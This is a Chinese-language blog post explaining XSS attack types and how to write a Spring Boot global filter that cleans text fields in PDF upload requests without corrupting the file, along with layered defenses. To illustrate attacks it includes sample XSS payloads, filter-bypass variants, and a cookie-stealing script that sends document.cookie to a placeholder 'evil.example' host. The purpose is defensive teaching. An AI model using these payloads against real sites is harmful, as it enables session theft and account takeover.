☰
Spring Boot全局过滤器如何防住上传PDF时的XSS攻击
2026/9/26 11:58:41 网站建设 项目流程

最近连续有同事抱着安全扫描报告来找我,满屏都是XSS攻击的高危告警。很多人第一反应是:不就是一个弹窗吗,能有多大事?我以前也这么觉得,直到调完几个被XSS打穿的项目,看到账号被伪造操作、内部接口被批量调用、甚至上传的PDF文件里都能藏恶意脚本,才真正意识到这个问题的分量。XSS攻击,全称跨站脚本攻击,本质上不是黑客技术有多高深,而是浏览器和开发者之间那层信任关系被利用了。这篇我会用一次Spring Boot项目的实战经验,把XSS攻击的原理、核心用法,以及全局过滤器处理上传PDF文件时的落地方式完整拆一遍,重点就是很多人问过我的那个场景:Spring Boot项目全局过滤器处理上传PDF文件时,XSS攻击到底该怎么防。

1. 先从原理层面把XSS攻击看透

1.1 浏览器为什么执行了不该执行的代码

要理解XSS攻击,先得明白浏览器是怎么渲染页面的。当服务端返回一段HTML给浏览器时,浏览器会把其中的标签当成页面结构去解析,遇到<script>标签就当成脚本去执行,遇到onclick这类事件属性就注册成交互逻辑。这套机制本身很正常,问题出在:服务端经常把用户输入的字符串直接拼到了HTML里。

举个例子,一个搜索页把用户输入的keyword原样拼到搜索结果页里,攻击者在URL后面加上<script>alert(1)</script>,服务端不加处理就回显,浏览器执行响应时就会把这段脚本当作页面自己的代码执行。这里的关键不是攻击者技术多厉害,而是开发者默认“用户输入只是数据”,浏览器却把最终返回的整个HTML都当成了“可信代码”。

我把这条信任链拆开看:开发者信任用户输入不会包含脚本,浏览器信任服务端返回的HTML是安全的。攻击者只需要打破前一个信任,就能让浏览器跟着上当。所以说XSS攻击的根因,是“不可信数据”被拼接到了“可信执行上下文”里,而且没有做正确的转义或隔离。

1.2 反射型、存储型、DOM型到底怎么区分

几乎所有XSS攻击都可以归为三类。判断标准很简单:恶意脚本存在于哪里,以及它是在哪个环节被触发的。

类型注入数据存在哪触发方式常见场景
反射型只存在于URL和响应中,不落库需要诱导用户点击带恶意参数的链接搜索页、错误提示页、URL参数回显
存储型持久化存在服务器数据库或文件系统任何用户访问受害页面都会触发评论区、昵称头像、用户资料、文件上传后的展示页
DOM型只存在于浏览器前端的DOM操作中用户访问页面,前端JS读取危险来源并插入DOMlocation.hash、document.referrer、innerHTML、前端路由

反射型名字里带“反射”,是因为恶意代码就像光一样,通过URL打到服务端,服务端原样弹回来。存储型则更阴,脚本先被正常提交并保存到服务器上,之后再被返回给其他用户,不需要针对某一个受害者单独构造链接。DOM型比较特殊,服务端可能整个响应里都没有恶意字符串,恶意代码藏在URL片段或者postMessage消息里,完全靠前端JS自己触发。

1.3 别再把XSS攻击只当成“弹个框”

很多开发对XSS的认知停留在alert(1)弹窗上,这导致他们觉得“弹一个框又不能把我怎么样”。真实情况完全不是这样。XSS一旦执行成功,脚本就运行在受害者的浏览器上下文里,能做的事情包括:读取当前站点的Cookies、LocalStorage、SessionStorage;调用当前站点的接口,伪造用户操作;篡改页面内容,诱导用户输入密码;甚至通过fetch把数据发到攻击者控制的服务器。

说个实际案例。某个后台管理系统只在登录态校验时用了HttpOnly,但没有给所有接口做权限校验,XSS脚本被注入后直接调用“修改手机号”“新增管理员”接口,一个拥有普通权限的账号,几分钟内就把自己提升成了管理员。这个例子想说明的是:XSS攻击从来不是独立漏洞,它是攻击链的起点,后续能接上CSRF、越权、钓鱼、数据窃取等一堆问题。

2. XSS攻击的核心用法:攻击者怎么一步步完成利用

2.1 反射型XSS的完整利用链路

反射型XSS的利用,第一步是发现可回显参数。攻击者会先往URL参数里塞一个不闭合标签的字符串,比如<img src=x onerror=alert(1)>,看页面是否弹出;如果弹了,说明参数被拼进了HTML上下文,且过滤不严。

接下来是构造一个“受害者会点”的链接。直接把<script>alert(1)</script>暴露给用户肯定不行,URL里带尖括号本来就是非法字符,浏览器和服务器之间要经过URL编码。攻击者会把payload转成%3Cscript%3Ealert(1)%3C%2Fscript%3E这样的编码形式,再通过短链接、二维码、邮件附件等手法发给目标用户。

当用户点击链接后,携带恶意脚本的请求发到服务端,服务端把参数原样拼到响应HTML里,浏览器解析执行,恶意脚本就开始工作了。真实的窃取Cookie脚本一般长这样:<script>fetch('https://evil.example/collect?c='+document.cookie)</script>,脚本把Cookie拼进请求参数,发到攻击者域名下。这个过程中最耗精力的不是写脚本,而是诱导用户点击,以及想尽办法绕过服务端的简单过滤。

2.2 存储型XSS为什么比反射型更危险

存储型XSS的利用链路前面两步和反射型差不多,但关键差异在“持久化”三个字。攻击者只需要找一处能提交数据的地方,比如昵称、个人签名、评论内容,把payload直接提交。服务端存库后,每次有人打开这个页面,payload都会被原样返回并执行。

反射型要针对单个受害者不断构造链接,存储型则是一劳永逸。攻击者提交一次,访问该页面的所有用户都可能中招,包括管理员、运营人员、其他普通用户。最常见也最讽刺的场景是:安全人员的扫描器去爬后台页面,结果扫描器自己触发了存储型XSS,把管理员的Cookie发送到了外部服务器。

存储型XSS还有一个特性,它很难靠访问日志发现。因为恶意脚本藏在了正常业务数据里,代码仓库里看不到,请求日志里只有“正常提交”的记录,没有“恶意执行”的记录。很多存储型XSS是在数据被清理之后,才通过安全事件复盘数据流找到的。

2.3 DOM型XSS的实际触发场景

DOM型XSS和前两类有个本质区别:服务端返回的HTML里可能完全看不到恶意字符串,恶意代码在后面才被拼进DOM。

典型危险写法是document.getElementById("content").innerHTML = location.hash.substring(1),前端从URL的#后面读取数据直接赋值给innerHTML。因为location.hash不会发送到服务端,请求日志里只有正常的页面请求,服务端根本不知道发生了什么。

还有一个高频场景是window.name、document.referrer、postMessage这些前端数据源。某些页面从postMessage里接收消息,然后不做校验就更新DOM,攻击者通过嵌入iframe、窗口通信等方式把恶意字符串传进去。这类漏洞修复起来也麻烦,因为问题不在后端,后端无法统一过滤,必须在前端对每个危险数据源做校验,或者避免直接使用innerHTML。

2.4 payload变形与绕过的基本路数

攻击者对XSS的“核心用法”不只是提交一个<script>标签,更多时候是不断变形绕过过滤。常见的变形方向有几个。

大小写绕过是老套路:<ScRiPt>在某些正则不区分大小写时可以被拦,但很多过滤器只匹配小写,绕过就成立了。编码绕道也很常见,HTML实体、URL编码、JS的String.fromCharCode、CSS的expression,都是经典编码手段。属性事件绕过更普遍,<img src=x onerror=...>这类payload不依赖script标签,通过图片加载失败触发onerror事件。还有只靠字符拼接的,比如<svg><script xlink:href=data:,alert(1)>,绕过基于标签名单的过滤。

我提这些不是为了教你写攻击payload,而是说明一个防护观点:如果只靠黑名单正则去匹配<script>,几乎不可能挡住所有变形。真正该做的,是对输入做白名单校验,对输出做上下文感知的编码,再叠加安全响应头。

3. Spring Boot项目实战:全局过滤器处理上传PDF的XSS攻击

3.1 上传场景里,XSS攻击到底藏在哪

再回到标题里那个热词:Spring Boot项目全局过滤器处理上传PDF文件时XSS攻击。很多人第一反应是:PDF是个二进制文件,XSS跟PDF有什么关系?这个问题我以前也问过。

仔细拆一遍就清楚了。一个文件上传接口,入口点不止是文件本体。文件名字段、描述字段、上传接口的URL参数、后续预览页面的渲染逻辑,都是XSS可能藏身的地方。攻击者可以传一个文件名<img src=x onerror=alert(1)>.pdf,如果系统直接把文件名输出到页面展示,就触发反射型或存储型XSS。

PDF本身也能携带脚本。PDF规范允许嵌入JavaScript,用浏览器打开的PDF文件时,PDF阅读器可能会执行其中的脚本。更常见的是PDF元数据里被塞入恶意链接或脚本,预览服务如果解析了这些元数据并渲染到页面上,就构成了XSS攻击。当然,不是每个环境下浏览器PDF插件都会执行JS,但“扫描器报了,你又复现不了”的这种问题,往往就出在文件元数据和预览渲染链路里。

3.2 全局过滤器的设计思路与整体流程

针对Spring Boot项目,最直接的防护手段是做一个全局过滤器,在请求进入Controller之前,统一清洗掉危险参数。设计思路是:过滤器拦截所有请求,把原始的HttpServletRequest包装成一个自定义的XssRequestWrapper,然后由包装器覆盖各个读取参数的方法,让上层拿到的已经是清洗后的值。

整体流程可以简化成四步:

  1. 创建一个XssFilter,实现javax.servlet.Filter接口,注册到Servlet容器。
  2. 在doFilter里判断请求类型,尤其是multipart/form-data文件上传请求。
  3. 将原始请求包装成自定义的XssRequestWrapper。
  4. 调用chain.doFilter(wrapper, response),把包装后的请求传给后续链路。

这里有一个很容易踩坑的点:文件上传请求的Content-Type是multipart/form-data,请求体是二进制分段的,不能像普通文本参数一样整体清洗。如果把请求流读出来做字符串替换,PDF文件大概率直接损坏。所以过滤器必须区分处理:纯文本参数可以清洗,二进制文件本身不能碰。

3.3 用请求包装器把入口统一拦下来

HttpServletRequestWrapper是Servlet规范提供的包装器基类。继承它之后,可以只覆盖关注的几个方法,不用改原始请求对象。

public class XssRequestWrapper extends HttpServletRequestWrapper { public XssRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getParameter(String name) { return clean(super.getParameter(name)); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (values == null) { return null; } String[] cleaned = new String[values.length]; for (int i = 0; i < values.length; i++) { cleaned[i] = clean(values[i]); } return cleaned; } @Override public String getHeader(String name) { return clean(super.getHeader(name)); } private String clean(String value) { if (value == null) { return null; } // 这里只是示例,生产环境不要只用几个replaceAll return value.replaceAll("(?i)<script.*?>.*?</script>", "") .replaceAll("(?i)javascript:", "") .replaceAll("(?i)on\\w+\\s*=", ""); } }

覆盖getParameter是为了拦截URL参数和表单普通字段,覆盖getParameterValues是为了处理多值参数,比如多选的checkbox,覆盖getHeader是为了拦截某些从请求头进入的payload。这三个方法基本覆盖了最常见的文本型攻击入口。

但问题也来了:如果Controller接收的是JSON请求体,比如@RequestBody User user,参数不在getParameter里,而是在请求体的输入流里。这种情况下,还要覆盖getInputStream和getReader,把请求体读取成字符串,清洗后再写回一个包装好的ServletInputStream。这一步比参数清洗麻烦,需要自己缓存请求体,否则流读一次就没了。另一个更稳妥的方案是让过滤器只处理JSON请求体,专门解析JSON字段做清洗,再用ObjectMapper写回。

3.4 PDF上传场景的专属坑:不要对二进制内容做字符串替换

处理上传PDF的XSS攻击时,最容易犯的错误就是对整个请求体做字符串替换。我见过有同学写过滤器的clean方法,直接对value.getBytes()做new String(bytes, "UTF-8")替换后又转回字节数组。看似聪明,实际上PDF里面的二进制数据可能包含大量非UTF-8字节,这样处理轻则乱码,重则直接损坏整个文件。

正确做法是先判断Content-Type。如果请求是multipart/form-data,过滤器应该只清洗表单字段,比如文件名、备注、分类字段,文件流部分直接原样放行。如果请求上传的是application/pdf这类纯文件流,过滤器根本不需要解析文件二进制内容,更不应该把整个文件读出来做替换。

对于PDF文件内部的潜在危险,过滤器解决不了,也不适合在过滤器里解决。更合理的方案是在文件存储前做“安全化”处理:用PDF处理库重新生成PDF,剥离内嵌JavaScript和恶意动作;或者干脆把PDF转成图片存储,从源头上消灭PDF内的脚本执行条件。预览页面对外提供PDF时,响应头加上Content-Disposition: attachment、X-Content-Type-Options: nosniff,避免浏览器直接用内置插件渲染可执行脚本的PDF。

这里贴一段过滤器里针对文件上传请求的判断逻辑:

@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; String contentType = req.getContentType(); if (contentType != null && contentType.toLowerCase().contains("multipart/form-data")) { // 文件上传请求:清洗表单字段,但不处理文件二进制流 chain.doFilter(new XssRequestWrapper(req), response); return; } // 普通请求:统一清洗查询参数、请求体中的文本内容 chain.doFilter(new XssRequestWrapper(req), response); }

3.5 过滤器不是万能的,业务侧还要做哪些事

全局过滤器能解决一部分“显式注入”问题,但别指望它一劳永逸。我整理了几件需要同时做的事,缺一不可。

第一,动态渲染输出要做HTML实体编码。无论后端做了多少层过滤,前端渲染时都要把<、>、&、"、'转义成对应实体,这是防止XSS的最后一道闸门。第二,Cookie设置HttpOnly,让脚本无法通过document.cookie读取会话标识。第三,接口层做严格的权限校验,不要只依赖Cookie,防止XSS脚本借助已登录身份调用敏感接口。第四,对上传文件设置白名单扩展名、文件头校验、大小限制,文件名重新生成,避免用户可控文件名直接输出到页面。

过滤器在整套防御体系里的定位是“减少攻击面”,不是“根除漏洞”。我个人的做法是:过滤器负责清洗明显恶意输入,输出编码和CSP负责拦截漏网之鱼,权限校验负责缩小XSS被利用后的影响范围。三层一起上,才能睡得着觉。

4. 常见问题与排查技巧实录

4.1 常见问题速查表

下面这个表是我在处理Spring Boot项目XSS过滤器时,最常被问到也最常踩的坑。

问题现象常见原因处理办法
上传PDF后文件损坏过滤器对二进制流做了字符串替换文件流放行,只清洗表单字段
过滤后中文参数变乱码包装器读取请求体时字符编码不一致统一使用UTF-8读取和写回
前端展示出现&lt;script&gt;服务端清洗和前端输出编码叠加,导致二次转义明确清洗和编码边界,只做一次
JSON接口报415包装器读完请求体后没有重写流,后续框架读不到缓存请求体,重写getInputStream
加了过滤器仍被扫描出XSS扫描的是DOM型或存储在前端innerHTML里的payload检查前端数据源,修复DOM操作
富文本被过滤得面目全非黑名单正则误伤了正常标签富文本改用白名单HTML消毒器

排查这类问题,先看清扫描器报的URL和参数名,再用curl复现原始请求。不要在浏览器里直接测,因为浏览器可能自动编码或缓存。

4.2 过滤器生效了但上传接口还是报错

一个非常典型的场景:过滤器包装了请求后,Spring的MultipartFile拿不到内容,或者FileUpload报“stream ended unexpectedly”。原因通常是XssRequestWrapper覆盖了getInputStream,把multipart/form-data的原始流读了一遍,而Spring再读时发现流已经走到头。

解决思路有几种。第一种,过滤器检测到multipart/form-data后不包装文件部分,只包装表单字段部分,或者干脆在文件上传路径上跳过请求体清洗,只清洗参数和头部。第二种,不覆盖getInputStream,只覆盖getParameter相关方法,因为Spring在处理MultipartFile时会自己读取流,我们不要碰它。第三种,直接用Spring提供的ContentCachingRequestWrapper,它会在读取流的同时缓存内容,但同样需要注意不能提前读空。

我自己的偏好是:文件上传接口单独走一条过滤器规则,明确跳过文件部分。让文件接口只负责文件存储和类型校验,文本字段安全交给业务参数校验去处理,这样职责清晰,不容易互相干扰。

4.3 Dirty参数和清洗规则误伤了正常业务怎么办

黑名单正则过滤很容易误伤。比如on开头的单词全被替换了,onClick、onchange是攻击入口,但普通的英文单词online、connection也可能被误伤;javascript:被过滤,业务参数里如果真有“协议说明:javascript:”这种合法文本,也会被清掉。

最直接的解决办法是改用白名单校验。对于普通参数,定义明确的正则规则,比如手机号、邮箱、纯文本长度,不匹配就拒绝请求,而不是尝试从黑名单里救回来。对于富文本参数,不要自己写正则,用专门的HTML消毒器,比如OWASP Java HTML Sanitizer,配置允许的标签和属性,其他标签一律剥离。

我在实战里的一个体会是:输入校验里“拒绝”比“清洗”更安全。能明确类型的参数就做类型校验,不能明确类型的普通文本也要限制长度和字符集,清洗正则只在实在无法避免的时候用,而且要尽量白名单化。

4.4 加了全局过滤器就安全了吗?说说纵深防御

答案显然是不。

XSS攻击面覆盖了输入、输出、前端DOM、上传文件、第三方回调等多个环节,一个全局过滤器覆盖不了所有场景。举例来说,DOM型XSS发生在浏览器端,服务端过滤器根本看不到;PDF元数据里的JS可能在浏览器PDF插件里执行,过滤器也管不到;存储型XSS如果已经入库,过滤器只能拦住后续写入,拦不住历史数据的回显。

所以我会建议团队从四个层面建立防线。

  • 输入层:校验类型、长度、字符集,白名单校验参数。
  • 输出层:HTML实体编码、URL编码、JavaScript编码,根据上下文选择对应编码方式。
  • 响应层:HttpOnly、X-Content-Type-Options: nosniff、Content-Security-Policy响应头。
  • 业务层:权限校验、操作审计、文件安全化、预览环境隔离。

CSP响应头经常被忽略,其实它是浏览器原生防御XSS的强力手段。配置一个宽松点的策略,比如default-src 'self',就能拦住绝大多数内联脚本执行,即使服务端漏了几条恶意注入,浏览器也不给你执行的机会。

5. 一些实操中的个人体会

最后分享一点我自己的经验,可能比前面的代码更值钱。

处理XSS攻击时,先别急着写过滤器,先跟着一条数据流完整走一遍:用户输入从哪里进来,经过哪些接口,存储在哪里,最后在哪里被输出。把这条链路画清楚,你就会发现,很多时候过滤器只是补漏,真正的风险点在被忽略的输出位置。

针对“Spring Boot项目全局过滤器处理上传PDF文件时XSS攻击”这个场景,我最真诚的建议是:不要把PDF文件本身交给过滤器去处理,文件安全化要在存储环节做,过滤器只管文本类参数。这个思路我跟很多同事聊过,凡是想让过滤器“一把梭”把PDF里的XSS也解决掉的,最后都在文件损坏和绕过的坑里来回挣扎。

另外,正则清洗永远是不完美的。与其把所有希望寄托在一个越写越复杂的clean方法上,不如把白名单校验、输出编码、CSP三件事做扎实。这三件事做好了,XSS基本就只剩理论威胁了。如果你不知道该从哪里开始改,我的优先级是:先给所有Cookie加HttpOnly,再给所有动态输出做HTML实体编码,最后有精力了再补CSP和全局过滤器。

这套组合看起来朴素,但实际场景下比堆一百条过滤规则管用。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询